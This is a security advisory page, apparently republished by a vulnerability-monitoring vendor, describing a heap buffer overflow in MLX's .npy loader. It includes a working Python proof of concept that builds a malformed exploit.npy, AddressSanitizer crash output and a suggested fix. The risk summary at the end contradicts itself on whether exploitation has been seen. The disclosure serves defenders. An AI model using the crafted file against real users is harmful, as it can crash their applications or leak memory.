Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-w6vg-jg77-2qg6
No affected components available
Summary
Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.
Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7
Vulnerability
The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.
Location: mlx/io/load.cpp:268,276
Bug #1 (line 268):
std::string header(&buffer[0]); // stops at first null byte
Bug #2 (line 276):
bool col_contiguous = header[34] == 'T'; // No bounds check
Possible Fix
// Line 268
std::string header(&buffer[0], header_len);
// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");
PoC
pip install mlx
# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
AddressSanitizer Output (with instrumented build):
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
#0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
#1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
#0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
#1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
#2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
#3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
#4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
#5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15
#6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
Shadow bytes around the buggy address:
0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00
0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa
0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3179==ABORTING
Impact
- Attack vector: Malicious
.npyfile (model weights, datasets, checkpoints) - Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input.
- Result: Application crash + potential 13-byte heap leak
Credits:
- Markiyan Melnyk (ARIMLABS)
- Mykyta Mudryi (ARIMLABS)
- Markiyan Chaklosh (ARIMLABS)
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard